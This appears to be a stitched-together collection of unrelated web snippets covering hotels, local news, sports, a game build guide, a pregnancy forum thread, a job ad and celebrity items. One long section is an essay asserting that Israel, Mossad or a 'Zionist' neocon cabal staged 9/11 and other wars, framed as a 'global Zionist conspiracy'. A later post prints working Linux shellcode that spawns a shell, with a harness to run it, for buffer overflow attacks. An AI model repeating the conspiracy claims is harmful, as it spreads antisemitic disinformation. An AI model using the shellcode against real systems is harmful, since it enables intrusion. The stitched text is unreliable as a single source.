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Holiday Inn Express Hotel & Suites Houston North-Spring Area features an outdoor pool and a fitness center. The hotel offers a restaurant. Guests can enjoy a complimentary breakfast. High-speed wireless Internet access is complimentary.
Business-related amenities consist of a business center and a meeting room. Event facilities measure 2200 square feet (198 square meters). This The Woodlands hotel also offers multilingual staff, coffee/tea in a common area, and complimentary newspapers in the lobby. Limited complimentary onsite parking is available on a first-come, first-served basis.
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We are about to start a conflict extending from Lebanon to Iran, to eliminate Israel's enemies. Don't we owe it to those who are about to die at our hands to learn whether Israel planned these wars for us? Is the government correct, that Iran is really fomenting these wars, or are they just being blamed for them, because of successful Israeli false flag operations, which were designed to pull the US into destroying all of Israel's threatening neighbors? If the answer is the latter, then how far did Israeli covert efforts go in to forcing us into solving their wars? Would that mean that the Israelis were the invisible element in the 9/11 demolition? Or could it be that there was a dedicated hardcore Zionist-American faction, which undertook the dirty treasonous act on Israel's behalf? Were the neocon plotters, specifically, the "Wolfowitz cabal," responsible for this "false flag" terror attack?
There is a lot of information floating around on the web about Mossad involvement in covert terrorist elements in these hot spots (many of them blamed on associates of Al Qaida). The Mossad has even been linked to death squads in Iraq and in Kurdestan, in apparent efforts to ignite religious civil strife and interstate conflict within Muslim populations. Is Israel behind the "Al Qaida-linked" terrorists who are igniting the Lebanese conflict, or are these really the efforts of the American/Saudi "Welch group?"
We know that Hamas is a creation of Mossad, creating it to one day foment a Palestinian civil war, in order to eliminate prospects of a diplomatic solution to the conflict. Today we see this same policy playing-out in a reversal strategy, where Israel turns against its creation, Hamas, to support the remnants of its former adversary, the PLO. Did this long-term Israeli strategy to ignite intra-Islamic civil wars extend beyond the occupied Palestinian territories?
Reports circulate of Mossad involvement in the training and arming of anti-Shiite warriors in Iraq and Kurdestan, to launch terrorist attacks in Iran. Most of these reports have extended from Seymour Hersh's research in his expose' on American sponsoring of those terrorists in "The Redirection." Was Hersh's expose' of the operation a part of the operation, intended to warn as well as to agitate the American and Iranian people? If there really is an Israeli plot to psychologically manipulate the American government into untenable situations, meant to force war upon us, then are not the American people also targets of this PSY-ops?
Is the ongoing standoff between America and Iran that is taking place over the issue of Iran's nuclear program, really because "the two countries accuse each other of or because of Israeli PSY-ops programs to make them believe that this is true? Is it coincidence that America and Iran are at each other's throats in these countries, even though they share many of the same goals in them? In Iraq, they both support the Maliki government's efforts to stabilize Iraq, but not if Iraqi security means helping their adversary. Or has Israel maneuvered both America and Iran into this fight over the things they agree upon?
The only evidence on Iran's alleged nuclear weapons program comes from the terrorist organization, Mujahadeen-e-Khalq. Mossad is deeply involved with MEK, training them in Iraq, to attack targets inside of Iran. According to former weapons inspector Scott Ritter, the "evidence" on Iran's nuclear program (given by the MEK) actually came from the Mossad, to be passed to the MEK by neocon Michael Ledeen.
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Ledeen is a hardcore Zionist with a long history with Israel. He has been implicated in other incidents of falsifying intelligence to ignite wars (Niger yellow cake forged documents and an associate of Ahmed Chalabi). He was a key player in the Iran/contra incident, and was a student of fascism in Italy, where he acquired his beliefs for his book "Universal Fascism" (fascism with the anti-Semitic components removed). Ledeen's links to Italian fascism extended to his association with the "strategy of tension" and the creative use of terrorism and false flag-type operations (Operation Gladio) to use fear to manipulate public opinion, in order to achieve their fascist dominated world.
Ledeen is the one hardcore Zionist/fascist who appears to link the neocon conspiracy to the secret government rogue network associated with the Iran/contra conspirators. Ledeen's connections with these Italian fascist false flag operations and the Iran/contra secret government group makes him a prime candidate as one of the principle organizers of the 9/11 parallel attack operation. Ledeen, along with Wolfowitz, Feith and Perle, had been named by former Sec. Defense Caspar Weinberger as part of the "X Committee," which was under investigation for allegedly passing top secret intelligence to Israeli spy Jonathan Pollard. Ledeen's Zionist/fascist views had been shaped by George Mosse - "a German Jewish emigré, who had been on good terms with such Nazi leaders as Joseph Goebbels and Herman Goering... who would become Ledeen's teacher at the University of Wisconsin, taught that...Western countries had been suffocated and could only be revived through Fascism or Nazism..."
The Wolfowitz faction of the fascist plot were philosophers, who believed in their noble mission to dominate the world for its own good. Their concept of the strategic "noble lie" became a cornerstone of the Bush neocon political philosophy and the disinformation policies that flowed from it. Wolfowitz and most of the neocons learned from Leo Strauss, who was a German Jew in the early Hitler era and a "protégé and enthusiastic promoter of the ideas of two leading intellectual figures of the Nazi Party: existentialist philosopher...Martin Heidegger; and Nazi jurist Carl Schmitt, who wrote the legal opinion justifying Adolf Hitler's February-March 1933 post-Reichstag Fire dictatorial putsch."
Like Mosse, Strauss was a hardcore believer in a fascist form of Zionism.
Between Ledeen and the Wolfowitz cabal, radical Zionism gave birth to an American form of fascism, which was dedicated completely to the darkest tenets of the global Zionist conspiracy, to dominate the world using every means possible. This group of conspirators were followers of radical Zionist Zeev Jabotinsky and were closely associated with his legacy, the Betar organization . According to Jabotinsky,
"Betar signifies a generation that dedicates its life to the sole idea of a Jewish State, without recognizing any other ideals... Our aim is to make Betar such a world organism which, at a sign from the center, will be able simultaneously to move tens of thousands of hands in the cities of all countries... to make Eretz Yisrael the leading state of the civilized world, a country the customs and laws of which are to be followed by the whole universe."
Jabotinsky's IRON WALL doctrine is the basis for the militant Israeli policies of terrorizing the Palestinians, in order to break their will to resist, teaching them the brutal lesson that resistance against the IDF is futile. Once the Palestinians learn the hopelessness of their situation, he theorized, they would accede to Israeli demands, based on the false hope of not being pushed out of Palestine altogether.
The evidence appears to confirm that on Sept. 11 there were two terror attacks, disguised as one. The Israeli secret services, or the neocon cabal directing the secret CIA rogue group, sandwiched secondary attacks and explosives into al Qaida's operations in New York. The timing of the attacks was coordinated with intel made possible by the neocon network, using knowledge gained from Ali Mohamed connections. The separate attack upon the Pentagon was probably all the work of the parallel operation. The unknown is the extent of the neocon penetration into the Israeli government, or their involvement in the Israeli end of the plot to use the terror attacks to Israeli/neocon advantage. One thing we do know, is that the testimony of the infamous "dancing Israelis" of 9/11 revealed that there were Israelis who knew precisely when the attack was going to take place - "our purpose was to document the event."
Further evidence shows that the Naval Operations Center in the Pentagon, that took a direct hit on 9/11, was the central location of all the material associated with the Jonathan Pollard Israeli spy ring, which had implicated the X Committee suspects. Does this further implicate Israel, or the neocon plotters, or both? Because of the involvement of the Wolfowitz cabal (through the Office of Special Plans disinformation operation) and the Ledeen connection to Ahmed Chalabi and the fabricated Niger yellow cake documents (in addition to Ledeen's implication in the Operation Gladio terror campaign) the complicity of the neocon plotters in fabricating the evidence used to justify the Iraq war can no longer be in doubt. The weight of the circumstantial evidence and the gravity of the crimes that they are accused of, demands further investigation by the Justice Dept.
Further investigations will likely prove that the neocon objective (in addition to their Zionist ambitions) in engineering the Iraq war and the implications of their potential involvement in the attacks that started the war on terrorism, was to create the condition of perpetual war that would justify the destruction of democracy and the creation of the American fascist state. "Mistakes" in the Iraq war were most likely made intentionally, to establish a state of constructive chaos there, regardless of the cost in American and Iraqi lives. This is treason at its worst. Everyone associated with these intentional mistakes must be made to answer in American courts for treason, stemming from the murder of American soldiers.
If Israeli participation in the attacks is proven, then they would be obviously guilty of acts of war against the United States of America.
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(Port Angeles) More people were buying things earlier this year in Clallam County than at the same time the year before.
But the numbers were not as robust for purchases in the city of Port Angeles.
According to the state Department of Revenue, taxable retail sales in Clallam County jumped nearly 8.5 percent in the second quarter this year compared to last year. Those are the latest numbers available from the state.
The city of Port Angeles was not as good. Taxable retail sales rose just one-point-three percent inside the city limits during the same period.
Statewide, retail sales tax collections were up about eight percent.
Economists often use sales tax collections to gauge consumer and business activity in specific areas.
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Providence, R.I.-Former Rhode Island College President John Nazarian '54 will be inducted into the Little East Conference Hall of Fame on Sunday, Oct. 27 at the Providence Marriott.
The event will begin with a reception at 12:30 p.m., with a dinner and the induction ceremony to follow.
Nazarian served as the first President of the Little East Conference during the league's formation and later became the league's first representative on the NCAA President's Council.
During his tenure, Nazarian played a key role in both Rhode Island College's and the Little East Conference's ascension to national prominence. He helped lay the groundwork for an amazing transformation in RIC's athletic facilities, student-athlete support and success on the fields of competition, while serving in a leadership capacity with the LEC.
In addition, former RIC Head Softball Coach Maria Morin will also be enshrined at the same event. Morin
Morin has more wins than any other coach in Rhode Island College history, compiling a 458-257-4 career mark. She guided the Anchorwomen to five consecutive Little East Conference Regular Season Championships (2009, '08, '07, '06, '05) and four straight Little East Tournament Championships (2009, '08, '07, '06). RIC made five NCAA Tournament appearances under her tutelage, reaching the National Championship Round in both 2007 and 2008, and won 20 or more games for 13 consecutive seasons from 1999-2011.
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The Hofbräu Keller is one of the local's favorite beer gardens and beer halls. It is actually larger than the Hofbräuhaus, but is a completely different atmosphere. Located in Haidhausen, just across the river from the old town, it's in a nice residential area where you may never run into another native English speaker. Don't worry though; they have English menus and a very friendly staff. This is the traditional beer garden, where the Hofbräu brewery stored their beer underground, and remains very traditional to this day.
In summer this place has a massive proper beer hall atmosphere and in winter a proper beer garden atmosphere so that no matter what season you visit, it will be a great experience at the Hofbräu Keller.


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"Pointyheads" Eyeing a Comeback in Sterling
Sterling's struggles are so 2010.
The currency has had a tough time, as nerves around the May general election and about the state of U.K. public finances whacked it lower in the opening months of the year. Even when other major currencies looked in worse shape, and the pound bounced back, it seems everyone has been waiting for it to slide. The currency's fans have attracted cheeky sniggers.
Well, no longer. Indeed, the pound is rapidly emerging as one of the top picks of the year among market watchers.
On Thursday, the analysts at Barclays Capital – the third largest in the foreign exchange sector by market share – said they expect the pound to crank up to $1.82 against the dollar by the end of next year, from around $1.58 now. The Queen's pound has not traded as high as that since Lehman Brothers collapsed.
"The U.K. is getting its house in order and, though it will be a difficult process, the restructuring of the economy is likely to bring about some appreciation of the currency," said Paul Robinson, a currencies analyst at the bank in London in a note to clients. He particularly advised buying it against the yen.
He's not alone in this outlook.
Japanese bank Nomura is also looking for sterling to rattle higher, reaching $1.73 against the dollar by the end of the year. Further easing in the U.K. "is neither necessary nor likely in the light of the positive momentum in domestic demand and labour activity," the bank said.
What's more, the coalition government is clearly serious about sorting out the country's finances, the bank added.
Other "pointyheads" advise buying against the Swiss franc.
Now, just because sterling is attracting new fans in the analysts's community, it doesn't mean it will definitely climb. The currency also has an ugly habit of falling alarmingly fast when the market turns against it. But it has defied some pretty confident predictions of a horrible fall in the second half of this year, so maybe traders will stop seeking excuses to sell it in 2011.


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When you deploy a new security tool, throw one away. If the new one is particularly invasive, then throw two away. Do what you can to drive your mean time to repair toward zero—the more powerful your security tools, the more collateral damage when they collide and the faster your recovery must be to avoid availability failures.
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This is a build utilizing a great synergy between Cyclone, Righteous Fire, and Mjloner. It features a lot of spelldamage in the tree and use of RF to obtain serious damage on arcs proccd from attacks.
The main 5l the build uses is Cyclone, Faster Attacks, Blood Magic, Life Gain on hit, and Blind. This is excellent for single target because it proc's arcs from Mjolner fast, and it blinds enemies while also burning them with RF because of their close proximity.
A secondary 4l contains Lightning strike, faster attacks, multistrike, and chain. This clears aoe even faster than cyclone, and is good for fighting enemies at a distance. It's single target is not great though.
I curse with ele weakness to benefit both Arc and RF. Molten shell is also used for defense and offense.
This build is unique among RF builds i have seen in that it only takes 3% regen from the tree, and can sustain RF indefinitely. Here's how this works: 75% base res, 4% from tree, 8% from Rise of the Phoenix shield, and 8% from Purity of fire is 95% fire res. At 95% RF only burns 4.5% life/sec (90x.05) which is easily made up for, especially because vitality gives this build about 2.5% life/sec regen.
The trick is to get 8% out of Purity of fire. this is done by boosting it to lvl 23. This can be done with a combination of + level items and empower, or a lvl 21 POF and and a lvl 3 Empower. At lvl 23 PoF gives 5% to max res - with 60% inc aura effect from tree this becomes 8%!
By managing RF in this manner I can spend more points on life and spell damage. I also run purity of lightning in the same manner, to achieve 87% lightning res. This makes using lightning coil as armor awesome, and helps vs reflect. Lightning coil with 87% lightning res is a 35% damage reduction, which is really great.
So, how well does it work?
- Very well! This build shreds lvl 76+ maps very quickly. I have done every map boss from 74 up no problem as well, including palace dom and courtyard! By hitting 100% fire res and 99% lighting res from ruby/topaz flasks this build is invincible vs some bosses (and things like dom's lightning beam).
Of course the downside to running RF is it limits your map mods. I cant run RF on no regen, -50% regen, -max resists, or vulnerability maps. However, this build does a LOT of dps with arcs even with RF turned off, so it does just fine and is not as picky about map rolls as some builds that only use RF for damage.
Compared to some mjolner builds ive seen this one does really well in that single target is no problem - RF cyclone does a ton of damage and procs lots of arcs on a target.
My damage from each arc is 238-4508, which I believe is way higher than most Mjolner builds will get.
Please let me know if you have any questions!
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The Turn of the Screw
by Henry James
The Turn of the Screw Theme of Literature and Writing
Yes, The Turn of the Screw is simply a great story for the sake of being a story – but it's also a great comment upon the art of writing or telling a tale. James sets up his piece within an interesting framework that raises our awareness of its story-ness from the very first page; instead of just jumping right in with the main body of text, he starts out with a brief, seemingly unimportant prologue. The latter does some practical things, like giving us some background info on our main character, but mostly, it just functions to create a ton of tension without a single thing happening. In this brief section, James demonstrates for us what a good horror story does – leave us breathless and excited, waiting for whatever will happen next.
Questions About Literature and Writing
- How do you respond to the narrative frame (the first section) – why doesn't James just jump right into the governess's tale?
- We essentially have three narrators – the actual narrator present in the untitled introductory section, Douglas (who reads the story aloud), and the Governess. What function does this triple-layered narration perform, if any?
- Do you think James intends for this story to be a horror story in the conventional sense? What other intentions might he have had for it?
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The extensive build-up before the story even begins takes readers through a skillful writerly game; James playfully works his readers into a fury of curiosity to demonstrate the power of the writer in consciously creating suspense.
While "The Turn of the Screw" is certainly a horror story of the highest caliber, it is also a kind of manual for writers of horror fiction – the title's reference to building a story suggests that it is not the plot that matters, but the conscious crafting of the tale


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Midwife appointment booked , although ive had to wait even longer because of my doctors messing up my pregnancy test 4 times and now midwife is on holiday so appointment is being pushed back. This Was fine due to fact i thought i Was only roughly 2 months but past few days ive had signs that i maybe further along.
Im sure i can feel little flutters and because its my second i kno this happened about week 17 ish . Im starting to Show now too
Now Im panicing that ive not had a scan at 12 like before.
When did everyone else feel baby?
Cant Remember little things like this with my first cos i didnt know what Was happening.
Mainly first thing in the morning before i get out of bed if i turn and lie on my Back i can definatly see and feel baby poking out my belly about size of my hand.
Surely i wouldnt be getting that about 8-10 weeks ???? Baby is size of a grape at that stage arent they !!
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Omg....glad ur on here! I felt my son at 13weeks, flutters on and off, I'm now 10weeks an I'm sure I can feel those little bubbles not everyday. But I'm sure iv felt it!!!!
To my dates I'm 11w 3days
But I had an early scan which they said they thibk I was 5+5 which makes me 10 now.......:/
Iv had no symptoms! This Is my 5th pregnancy hopefully 2nd baby!
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I dont know my dates at all , i really can not Remember my last period past few months been so hectic ive not noticed. I was guessing between 8-10 weeks but i think Im further now.
I get those bubble feelings every now and again too. When my bladder is full like in the morning i can actually see baby my belly goes all lop sided. past few days as Well people have been askin cos Im showing quite obvious , seems to have popped up in a matter of days. So strange
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I didn't find out I was pregnant with my first over 14 years ago till 17 weeks!! What a shocker if you are further along then you thought but if so not as long to go!! Hope you find out soon .
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Barrington junior Adam Kelly followed up his victory at the state meet with a national title, winning the boys� 25-pound weight throw with a toss of 77 feet, 9.25 inches at the New Balance Nationals Indoor, held over three days at The Armory in Manhattan. He remains the top-ranked high school boy in the U.S. this season.
Also earning All-America honors by virtue of their top-eight finishes at the New Balance Nationals, Classical�s Tom Vadis placed sixth in the boys� weight throw (68-11.25), while Leia Mistowski of Narragansett placed sixth in the girls� weight throw (54-8.25).
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"Photography is truth. The cinema is truth twenty-four times per second."
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**NEW** Film Production Option
Films play a prominent role in our experience of the world today, and the Film Studies Program at Laurier addresses that experience. Our courses are designed to emphasise the study of international film history, the distinctive character of film as a medium, and individual films as texts. We explore questions of film genre, style, theory, and history always placing film in the context of the liberal arts and in relation to a variety of cultural concerns. Through regular screenings, discussion, and assignments that draw on close textual analysis, our courses provide opportunities for students to write and think critically about film, and to explore issues of aesthetics and representation. Students also investigate the commercial, historical, political, and economic contexts that affect and govern the production of film. We offer three degree options:
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What can I do with a degree in Film Studies?: Graduates of our program have pursued successful careers in film and TV production, education, library and information science, film restoration and archiving, graduate programs in film and media, sales, advertising, journalism, and entertainment law.
Annual prizes for Film Studies students include the Campbell/Verduyn Prize for Film Studies and the Princess Cinema Award.
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Katherine Spring's primary research interests are in film sound and film music, early American film history, and Hong Kong cinema. A recent essay on film music of the late 1920s earned a prize from the Society for Cinema and Media Studies and will be published in Cinema Journal. Her current project is a book-length study of songs and music in early sound cinema. She enjoys hiking with her dog and playing electric guitar.
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The ability to decide when and under what circumstances to have children is critical to the health, happiness, and stability of women and families across the globe. We believe in expanding the availability of health care resources—especially to those individuals and communities whose options have been disproportionately limited by income, race, or other factors. As religious leaders, we support public policies that make birth control more economically accessible.
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The 1F85-277 thermostat has pretty much the same specs as the closely related 1F85-275, the difference between them being that the 1F85-277 gives you the additional option of being able to program it for seven days on end (instead of just 5+1+1 days). Like the 1F85-275, you can also choose to not program the 1F85-277 at all, and just make temperature adjustments when you need. Like all of the 80 Series thermostats except the base model 1F82-261, you can power the 1F85-277 with your choice of hardwired or battery power. Like the entire 80 Series of programmable thermostats, the White-Rodgers 80 Series 1F85-277 is made for use with 24 VAC systems.
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Examining The Ever Shrinking Whelen Modified Tour Car Counts At New Hampshire Motor Speedway
Twenty-nine drivers are scheduled to take the green flag for Saturday's NASCAR Whelen Modified Tour New Hampshire 100 at New Hampshire Motor Speedway.
That 29 number matches the second smallest field in 55 Whelen Modified tour events at New Hampshire Motor Speedway since 1990.
And it's a number that stands as part of a trend that hardly illustrates any sort of level of positive growth for the division at one of the series' marquee venues.
Dating back to a 40-car field for the event on Sept. 19, 2009, the division has seen the number of cars starting get smaller each event for five consecutive events going into Saturday's race. Including Saturday's event, four of the nine smallest fields in Whelen Modified Tour history at New Hampshire Motor Speedway have come in the last four events at the track.
The lowest field ever for a Modified Tour event in Loudon was 28 on Aug. 21, 1994. Saturday's 29-car field matches the number that started the first event at the track on Sept. 2, 1990.
The next smallest field over the 55 events at the track was 31, which is the number that started the Granite State Classic in Loudon on Aug. 13 of this year.
Thirty-three cars started the July 16 event earlier this year at the track, which represents the sixth smallest field in series history at Loudon. Thirty-five cars started last year's September event at New Hampshire Motor Speedway.
It's a noticeable swing from the big numbers that always seemed to arrive at the track from the mid 1990's until two years ago.
Of the 55 events run at the track, 30 have seen starting fields of 40 or more cars. From Sept. 8, 1996 to June 30, 2007, over a 26 race span, the track saw fields of 40 or more in 23 events. The three events that didn't see 40 cars during that span saw two events with 39 and one with 38. That span also saw a stretch of 15 consecutive events from Aug. 17, 1997 to July 18, 2003 all with 40 or more cars starting. From Sept. 8, 1996 to Sept. 19, 2009, over a span of 31 events, there wasn't a starting field in any Modified Tour event at the track lower than 38.


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Be Proud of Your Curves: Huma Qureshi to Indian Women
By Nivedita | IANS
Published: 21st July 2014 12:30 PM
Last Updated: 21st July 2014 12:30 PM
NEW DELHI: Bollywood actress Huma Qureshi, who walked the ramp as showstopper for designer duo Rimple and Harpreet Narula on the last day of Shree Raj Mahal Jewellers India Couture Week 2014, says that Indian women are blessed with "naturally beautiful curves" and they should not feel embarrassed about it.
Asked about how much pressure she faces every day as an actress to look slim and prefect, the voluptuous beauty told IANS: "It's not just actresses but even the normal girl constantly tries to fit into the particular idea of beauty. They face the entire pressure of marriage madness where everyone try and look prettier and forget what they actually are.
"I agree that one should be fit and take care of one's body as there is no excuse to be unfit. But I feel that Indian women are naturally blessed with beautiful curves. Just because somebody has said that you need to be perfect, one should not kill herself to achieve that. Be proud of your curves."
Huma also said that one should not try to modify their body just because someone else doesn't like the way you are.
"Don't be embarrassed about your body. Yes, as an actress, if I have to play a model or wear something where I need to be super toned, I would obviously love to work towards that but that is the part of my job. But my real life is mine and this is how I look. So don't be apologetic about how you look," she said.
The actress also recalled her childhood memories when she used to get teased by her schoolmates because of her body weight.
"I was quite a chubby kid so I used to get teased by schoolmates because of my body weight," said Huma.
The "Gangs of Wasseypur" fame actress looked like a true diva when she walked the ramp for Rimple and Harpreet in dull gold lehanga with antique zari detailing and a tulle trail. She completed the look with minimal jewellery and hair wide open.
The designer duo presented a collection titled "The eternal wanderlust", inspired by nomads and wanderers who used to abound in the Khyber Pakhtunkhwa (in Pakistan), the Thar and Sahara deserts, ancient Persia and Syria.
The duo used hand crafted textures created by intricate fabric manipulation and crocheting, monogrammed coins, weaves of delicate tulles and gossamer silks. Also, there were tessellations inspired by Islamic Art that were juxtaposed with fine hand embroideries to veritably breathe life onto the surfaces of each ensemble.
The silhouettes comprised of capes and robes, sheer billowy jackets and regal cloaks.
Sharing her experience of walking on ramp for the designer-duo, Huma told IANS: "I have done a shoot with them and I really like their bridal work. It's interesting to walk for them. Also since the fashion week was happening in Delhi so I thought why not. I always look for excuses to come back to Delhi."
Also spotted at the show was cricketer Virendra Sehwag accompanied by wife Aarti.
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Jason Turned Down a Bigger Part for His Movie Debut
Jason Aldean's acting debut happens in just a week or so (Jan. 24) at the Sundance Film Festival in the new Western Sweetwater.
The country star tells radio station Country 92.5 in Hartford, Conn., that he'll be playing a henchman for a bad-guy prophet in the film. (Spoiler alert: Jason reveals what happens to his character in the next quote.)
"I'm his guy that does all the dirty work for him. I get to shoot a couple people, and then I end up getting put down as well," he says.
Jason at first was offered a bigger part in the movie, which stars Ed Harris and Mad Men actress January Jones.
"But, with it being my first time acting, I basically turned that role down and was like, 'You got something that's a little bit less of a part?' I just kinda wanted to try a smaller part and see if it was something I was even interested in," he said.
"If I was gonna be bad, I wanted to be on the film as least amount of time as possible."
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Cantor's defeat is all about frustration with Washington's old ways
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I take a bit of an issue with my colleague Tod Robberson's characterization of Eric Cantor as a voice of reason. As a member of leadership, Cantor was as responsible as anyone in the GOP for pushing a hard-line position on the budget and debt ceiling clashes that led to sequestration and a rear guard attack on House Speaker John Boehner. In the end, he ended up losing to someone who outflanked him. At any rate, that's politics.
All that said, frustration over gridlock in Washington is likely to be a major factor in the November 2014 elections, not just ideology. For that reason, Democrats shouldn't view Cantor's defeat as clearing the runway for Democratic victories in the fall. The same forces of disenchantment with business as usual that took out Cantor are likely to retire a few Democrats in the fall. The only way something like that doesn't happen is that past redistricting hijinks have made some incumbents safe.
There's a lot of truth to the politics-is-local argument. From what I've read about the Brat-Cantor race, turnout was low and the district is relatively small. One has to wonder whether the outcome would have been the same had the primary not been held in June, a time when all but the most committed voters are focused on graduations and vacations. Couple that with what I call the curse of leadership responsibilities that divert a lawmaker's focus from district voters and Cantor goes packing. Remember 2004 and Tom Daschle?
Frustration with Washington is real. Right now it is playing out publicly on the GOP side. The Democrats' day will come.


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Volleyball player Naomi knew something was wrong. Despite her usual ability to play hard, the exhaustion the 12-year-old started feeling after games wasn't right. After several inconclusive visits, her doctor recommended she be taken to the emergency room the next time she experienced pain. Within an hour of her next ER visit, Naomi was diagnosed with anaplastic large cell lymphoma.
Treatment for Naomi included injections into her spine—a procedure so painful that she had to be sedated. Most of her discomfort eventually went away but the body aches did not. Filled with faith and strength from her supporters, Naomi persevered through more than a year of treatment. Her chemo port was removed the week before Christmas 2012.
Since her illness, Naomi hasn't been able to play volleyball but that hasn't stopped her from joining the debate team, playing the piano, volunteering and continuing her love for art.


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Tina Fey is funny, sure, but she's also really rich. I mean, just look at her new Upper West Side pad. Four bedrooms, fireplace, library. Liz Lemon has hit the big time. Here are pictures:
Fey and her husband bought the West End Avenue apartment for $3.4 million, 700k lower than the initial asking price. It's a buyer's market, after all! And just look at that floor plan, man. The elevator opens right into the apartment. Hm. Sounds familiar, doesn't it?
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Assistant Professor, Anthropology
Requisition Number: 1244BR
Position Title: Instructional Faculty
College/Division: College of Liberal Arts
Organization: CLA-Sociology/Anthropology
Faculty Type (Tenure Status): Tenure-Track
Faculty Discipline: Anthropology
Faculty Rank: Assistant Professor
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Anticipated Start Date: 14-Aug-2015
THE UNIVERSITY AND ROCHESTER COMMUNITY: RIT is a national leader in professional and career-oriented education. Talented, ambitious, and creative students of all cultures and backgrounds from all 50 states and more than 100 countries have chosen to attend RIT. Founded in 1829, Rochester Institute of Technology is a privately endowed, coeducational university with nine colleges emphasizing career education and experiential learning. With approximately 15,000 undergraduates and 2,900 graduate students, RIT is one of the largest private universities in the nation. RIT offers a rich array of degree programs in engineering, science, business, and the arts, and is home to the National Technical Institute for the Deaf. RIT has been honored by The Chronicle of Higher Education as one of the "Great Colleges to Work For" for four years. RIT is a National Science Foundation ADVANCE Institutional Transformation site. RIT is responsive to the needs of dual-career couples by our membership in the Upstate NY HERC.
Rochester, situated between Lake Ontario and the Finger Lakes region, is the 79th largest city in the United States and the third largest metropolitan area in New York State. The Greater Rochester region, which is home to over one million people, is rich in cultural and ethnic diversity, with a population comprised of approximately 16% African and Latin Americans and another 7% of international origin. It is also home to the largest deaf community per capita in the U.S. Rochester ranks 3rd among the best metropolitan regions for "raising a family" by Forbes Magazine; 6th among 379 metropolitan areas as "Best Places to Live in America" by Places Rated Almanac; 1st in Expansion Management Magazine's ranking of metropolitan areas having the best "quality of life in the nation"; and is among Essence Magazine's "Top 10 Cities for Black Families."
Detailed Job Description: The Department of Sociology and Anthropology at the Rochester Institute of Technology seeks a medical anthropologist for a tenure-track Assistant Professor position, beginning fall semester 2015. Medical anthropology is a dynamic and growing field that includes, but is not limited to, global and environmental health, genetics, epidemiology, human rights and social justice, disability studies, community and public health, culture and healing, medical humanitarianism, health disparities, nutrition, medical ethics, and reproductive health. We seek candidates with theoretically informed field research; the geographic specialization is open. Candidates must be able to teach introductory and upper-division undergraduate courses and contribute to a dynamic, diverse department, its multiple degree programs, and student mentoring. Applicants must have demonstrated excellence in funded research; a record of peer-reviewed scholarship; and experience in teaching, with a commitment to students. Applicants must have PhD in hand by August 1, 2015.
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Greg Colwick, chairperson for the 2010-2011 Sikeston/Bootheel Area United Way campaign, sifts through some of the promotional materials at the office. This year's campaign officially begins today, with a goal of $85,000.
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Local United Way bumps up goal, adds agencies
SIKESTON -- The Sikeston/Bootheel Area United Way is branching out.
Having exceeded its goal fundraising amount for several years, the Sikeston/Bootheel Area United Way bumped its goal up to $85,000 this year, which will enable it to aid an additional three agencies. The 2010 campaign officially kicks off today.
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I have a pretty standard code to spawn a shell(to be used for buffer
overflow attacks).
/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
const char code[] =
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
int main(int argc, char **argv)
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
This works fine on Linux and does spawns a shell.(compiled with gcc)
On Minix3.1.2a, the compilation fails saying that _buf is undefined.
Does Minix have a non executable stack by default? or is there
something different in the way symbols are treated by the CC compiler?
Could you please point me to the right literature/code where I can get
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Austrian Lauda was named as non-executive chairman of the British-based team's board when 2008 champion Hamilton was signed from McLaren last September.
Since then, Mercedes have announced the departure of motorsport chief Norbert Haug after more than 20 years in the high-profile job.
Lauda, 63 and a former Jaguar team principal, is expected to play a link role between the team and Stuttgart car manufacturer.
The Austrian retired from Formula One racing in 1985 to focus on his aviation interests. The low-cost Niki airline he founded in 2003 is now owned by Air Berlin after Lauda sold his stake in 2011.
Air Berlin thanked Lauda in a statement for his "committed, stimulating work for the benefit of the company".
Mercedes finished last season a disappointing fifth overall, with Hamilton joining this year in place of the now-retired seven-times champion Michael Schumacher. (Reporting by Alan Baldwin, editing by Tom Pilcher)
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by Willy Lim
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The End of the Road for Yellow Pages?
I just read the Channel News Asia report that Global Yellow Pages experiences a huge 45.8% fall in net profit for Q3.
Global Yellow Pages said that the decline in revenue is in part due to the economic recession. This may be true, but I think to a very small extent. Businesses STILL advertise. The question is really where are businesses spending their advertising dollars now.
The article "Marketers to Spend More on Social Media as Usage Skyrockets" stated that 66% of marketers intend to invest in social media in the next 12 months. Our recent survey results, which are published in the Straits Times article "Asian firms go big on Twitter and Facebook", shows that 80% of local businesses intend to spend more on social media marketing in the future.
To me, telephone directory listings had this coming towards them with the rise of social media. People no longer search for businesses using these hard copy telephone directories. Without a change in business direction and model, Global Yellow Pages and all other telephone directory listings will go the way of the telegram.
2010 is going to be the year social media becomes mainstream media.
And like how email killed telegram, social media will kill telephone directory listings.
What are your views?
Do you think Yellow Pages still have a place in the business world?
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Published: Friday, May 24, 2013 at 3:30 a.m.
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An op-ed in the Wall Street Journal this weekend says that our president got rid of the Winston Churchill bust that was in the White House. I will never forget that Winston Churchill, with the help of Franklin D. Roosevelt, saved our world.
— Tuscaloosa
Just asking: Isn't present-day Martin Luther King Boulevard through Northport the route Gen. (John) Croxton took on his way to liberate Tuscaloosa? And if so, should we not be thinking of ways to preserve and not widen this historic byway?
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OF COURSE Avril Lavigne and Chad Kroeger's Wedding Attire Was "Rocker Chic"
7/3/2013 10:00 AM PDT, by Sarah Taylor
Here it is, guys -- the magazine cover you've all been waiting for, courtesy of Canada's "Hello Magazine." Hello got the super-uber-worldwide exclusive on Chad Kroeger and Avril Lavigne's nuptials, which happened over the weekend. Special times, right? And as you can see from the above photo, there's one thing apparent (well, two things if you count the first thing being that these two actually look really happy together, aside from the fact that "Photograph" is a song that's a real thing and Avril's got her husband to blame for all that now) it's that the new couple definitely went for the black, rockeresque theme, complete with the black roses and Johnny Cash attire and punk rock princess tiara. It works. It's cute. It's totally them, and even if you're in a band by the name of "Nickelback," you still have to stay true to yourself somehow, you know?
Congrats, guys, all right?
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This week in DistroWatch Weekly: Interview: Karanbir Singh, CentOS project News: Mandriva and OpenSolaris updates, localising Linux Mint, NetBSD testing strategies Questions and answers: TRIM on solid state drives (SSD) Released last week: Peppermint OS One-06172010, wattOS R2, MoLinux 6.0 Site news: Package database update New distributions: OpenELEC.tv,….
